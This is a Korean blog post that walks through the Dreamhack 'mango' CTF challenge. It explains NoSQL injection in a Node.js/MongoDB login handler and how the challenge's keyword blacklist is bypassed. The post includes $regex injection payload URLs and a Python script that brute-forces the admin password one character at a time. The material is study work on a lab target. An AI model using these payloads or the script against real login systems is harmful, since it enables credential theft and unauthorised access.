본문 바로가기

Study/WebHacking

NoSQL Injection 정리 및 dreamhack wargame : mango write up

728x90

실습을 통해 익히기

https://dreamhack.io/wargame/challenges/90/

 

Mango

Description 이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다. 플래그는 admin 계정의 비밀번호 입니다. 플래그의 형식은 DH{...} 입니다. {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} Reference Serv

dreamhack.io

 

문제를 푸는 법

1) 코드 분석 -> 웹서비스 분석 -> 엔드 포인트 부분 잘보기, 핵심 함수 코드 잘보기

첫번째 엔드 포인트 /login

app.get('/login', function(req, res) {
// HTTP GET 요청 핸들러 정의, /login 경로로의 GET 요청에 대한 처리 
// function(req, res)에는 요청과 응답을 나타내는 각각의 매개변수가 전달됨
    if(filter(req.query)){ 
    // filter함수 호출한 결과가 참인지 거짓인지 평가
    // req.query는 GET 요청에서 전달된 쿼리 매개변수들을 나타냄
        res.send('filter'); // 참이면 응답으로 문자열 filter을 보내고 함수 종료
        return;
    }
    const {uid, upw} = req.query; 
    // 객체 비구조화 할당을 사용하여 req.query 객체에서 'uid', 'upw' 속성을 추출하여 각각 'uid','upw' 변수에 할당.

    db.collection('user').findOne({
    // MongoDB의 'user' 컬렉션에서 'uid'와 'upw'를 기준으로 검색을 수행하는 'findOne' 메서드 호출
        'uid': uid,
        'upw': upw,
    }, function(err, result){ //'err'는 오류, 'result'는 검색 결과를 나타냄
        if (err){
            res.send('err'); // 오류 발생하면 'err' 문자열을 응답으로 보냄
        }else if(result){
            res.send(result['uid']); // 검색 결과가 존재하면 해당 결과의 'uid'를 응답으로 보냄
        }else{
            res.send('undefined'); // 그 외 경우 'undefined' 문자열을 응답으로 보냄
        }
    }) 
});

⏩ 이용자가 쿼리로 전달한 uid와 upw로 데이터베이스를 검색하고, 찾아낸 이용자의 정보를 반환

 

두번째 filter 함수

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi']; # 금지어
filter = function(data){
// 'filter'라는 이름의 함수 정의, 이 함수는 'data'라는 매개변수를 받음

    const dump = JSON.stringify(data).toLowerCase();
    // 입력된 데이터를 JSON 문자열로 변환하고, 그 문자열을 소문자로 변환한 값을 'dump'라는 상수에 저장
    // 소문자 구분X
    
    var flag = false; 
    // flag라는 변수를 선언하고 초기값을 false로 설정
    // 나중에 금지어가 발견되면 'true'로 변경됨
    
    BAN.forEach(function(word){
    // 'BAN' 배열에 대해 'forEach'메서드를 사용하여 각 원소에 대한 반복 시작
    // 'word'는 현재 반복되고 있는 금지어를 나타냄
        if(dump.indexOf(word)!=-1) flag = true;
        // 현재 반복 중인 금지어 'word'가 'dump'문자열에 포함되어 있다면, 'flag'를 'true'로 설정함
        // 'indexOf' 메서드는 문자열에서 특정 부분 문자열이 처음으로 등장하는 인덱스를 반환하며, 존재하지 않을 경우 -1 반환
    });
    return flag; // flag 값을 반환, 금지어가 발견되면 true반환, 없으면 false 반환
}

⏩ 금지어 필터링

 

2) 취약점 분석

    db.collection('user').findOne({
    //MongoDB의 'user' 컬렉션에서 'uid'와 'upw'를 기준으로 검색을 수행하는 'findOne' 메서드 호출
        'uid': uid,
        'upw': upw,
    },

⏩ 쿼리 변수의 타입을 검사하지 않음 -> NoSQL Injection 공격 발생가능

 

NoSQL Injection이 무엇이냐? (출처: chatGpt)

NoSQL Injection은 주로 NoSQL 데이터베이스에서 발생할 수 있는 보안 취약점 중 하나입니다. SQL Injection과 유사하지만 관계형 데이터베이스가 아닌 NoSQL 데이터베이스에서 발생하는 문제를 가리킵니다. 

주로 MongoDB, CouchDB, Redis 등과 같은 NoSQL 데이터베이스에서 발생할 수 있습니다.

NoSQL Injection은 사용자로부터 입력된 데이터를 적절하게 검증하거나 이스케이핑하지 않고 데이터베이스 쿼리에 직접 삽입될 때 발생합니다. 이로 인해 악의적인 사용자가 데이터베이스를 조작하거나 민감한 정보를 노출시키는 공격이 가능해집니다.

예를 들어, MongoDB에서는 일반적으로 JSON 형식의 데이터를 사용하며, 이 데이터는 동적으로 생성된 쿼리에 삽입됩니다. 만약 개발자가 사용자로부터 입력 받은 데이터를 적절하게 검증하지 않고 쿼리에 직접 삽입한다면, 악의적인 사용자는 입력란에 MongoDB 쿼리 연산자를 삽입하여 데이터베이스를 조작할 수 있습니다.

예를 들어, 아래와 같은 MongoDB 쿼리가 있다고 가정해봅시다.

db.users.find({ 'username': '<user_input>' });



만약 `user_input`에 다음과 같은 값을 입력하면 NoSQL Injection이 발생할 수 있습니다.

' || '1'=='1



결과적으로 쿼리는 다음과 같이 됩니다.

db.users.find({ 'username': '' || '1'=='1' });



이는 항상 참이 되어 모든 사용자의 데이터가 반환될 수 있게 됩니다.

NoSQL Injection을 방지하기 위해서는 사용자로부터의 입력을 적절하게 검증하고, 데이터를 데이터베이스에 전달할 때 이스케이핑을 수행해야 합니다. 또한, 데이터베이스에서 제공하는 안전한 API나 ORM(Object-Relational Mapping)을 사용하는 것이 권장됩니다.

 

💡이스케이핑이란?

  • 특수 문자나 예약어를 다루는데 사용되는 특별한 문자나 기술
  • 주로 문자열에서 특정 문자를 표현하거나 해석하는 것을 방지
  • 다음 웹사이트에서 이스케이프 문자들을 확인가능 (https://mateam.net/html-escape-characters/)

3) 공격(익스플로잇)

3-1) Blind NoSQL Injection Payload 생성

MongoDB의 $regex 연산 사용

http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.*

 

💡$regex 연산 (출처: chatGPT)

MongoDB의 `$regex` 연산자는 정규 표현식을 사용하여 쿼리를 수행하는 데 사용됩니다. 이 연산자를 사용하면 특정 패턴에 매칭되는 문서를 검색할 수 있습니다. `$regex` 연산자는 주로 문자열 필드에 대한 검색에 사용되며, 정규 표현식 패턴을 지정하여 데이터베이스에서 일치하는 문서를 찾을 수 있습니다.

기본 문법은 다음과 같습니다:

db.collection.find({ field: { $regex: /pattern/ } })


- `db.collection`: 쿼리를 수행할 컬렉션을 나타냅니다.
- `field`: 검색할 필드의 이름입니다.
- `$regex`: MongoDB에서 정규 표현식을 사용하겠다는 표시입니다.
- `/pattern/`: 검색할 정규 표현식 패턴입니다.

예를 들어, 'users' 컬렉션에서 'name' 필드가 "John"으로 시작하는 문서를 찾고 싶다면 다음과 같이 쿼리를 작성할 수 있습니다:

db.users.find({ name: { $regex: /^John/ } })


위의 쿼리에서 `/^John/`는 "John"으로 시작하는 패턴을 나타냅니다.
일부 `$regex` 옵션을 사용하여 검색을 더 조정할 수 있습니다. 몇 가지 예시는 다음과 같습니다:
1) Case-Insensitive 검색:

  db.users.find({ name: { $regex: /^john/i } })

  => `i` 옵션은 대소문자를 무시하고 검색합니다.

2) 부분 일치 검색:

  db.users.find({ name: { $regex: /doe/ } })

 => `doe` 패턴을 포함하는 어떤 문자열이든 찾습니다.

3) 패턴으로 끝나는 문자열 검색:

  db.users.find({ name: { $regex: /son$/ } })

 

=> `son`으로 끝나는 문자열을 찾습니다.
이와 같이 `$regex` 연산자를 사용하면 다양한 정규 표현식 패턴을 활용하여 MongoDB에서 유연한 검색을 수행할 수 있습니다.

3-2) filter 우회

http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*

3-3) Exploit Code 작성

import requests, string
#requests 모듈을 사용하여 웹 서버에 HTTP GET 요청을 보냄

HOST = 'http://host3.dreamhack.games:10109/'
ALPHANUMERIC = string.digits + string.ascii_letters
# 대상 호스트와 요청에 사용될 문자열 패턴(ALPHANUMERIC)이 정의되어 있음
SUCCESS = 'admin' # 서버에서 응답이 'admin'과 일치하는 경우 해당 문자를 플래그에 추가하고 계속 진행

flag = ''

for i in range(32): # 플래그 길이 32자리
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        # 웹서버에 대한 GET 요청을 보냄, 요청 URL에는 정규 표현식이 포함되어 있으며, 현재까지 찾은 플래그('flag')와 시도 중인 문자('ch')가 삽입
        if response.text == SUCCESS: # 서버의 응답이 'admin'과 일치하는지 확인
            flag += ch	 # 응답이 'admin'과 일치하는 경우 현재까지 찾은 플래그에 문자 추가
            break
    
    print(f'FLAG: DH{{{flag}}}') # 현재까지 찾은 플래그 출력
    
    #코드는 서버에 대한 요청을 보내고, 응답이 'admin'과 일치하는 경우 해당 문자를 플래그에 추가하고
    #계속 진행. 이러한 방식으로 32자리의 플래그를 찾음

 

그래서 파이썬 코드 돌려봤더니 requests 모듈이 없다고 함;;; 다시 설치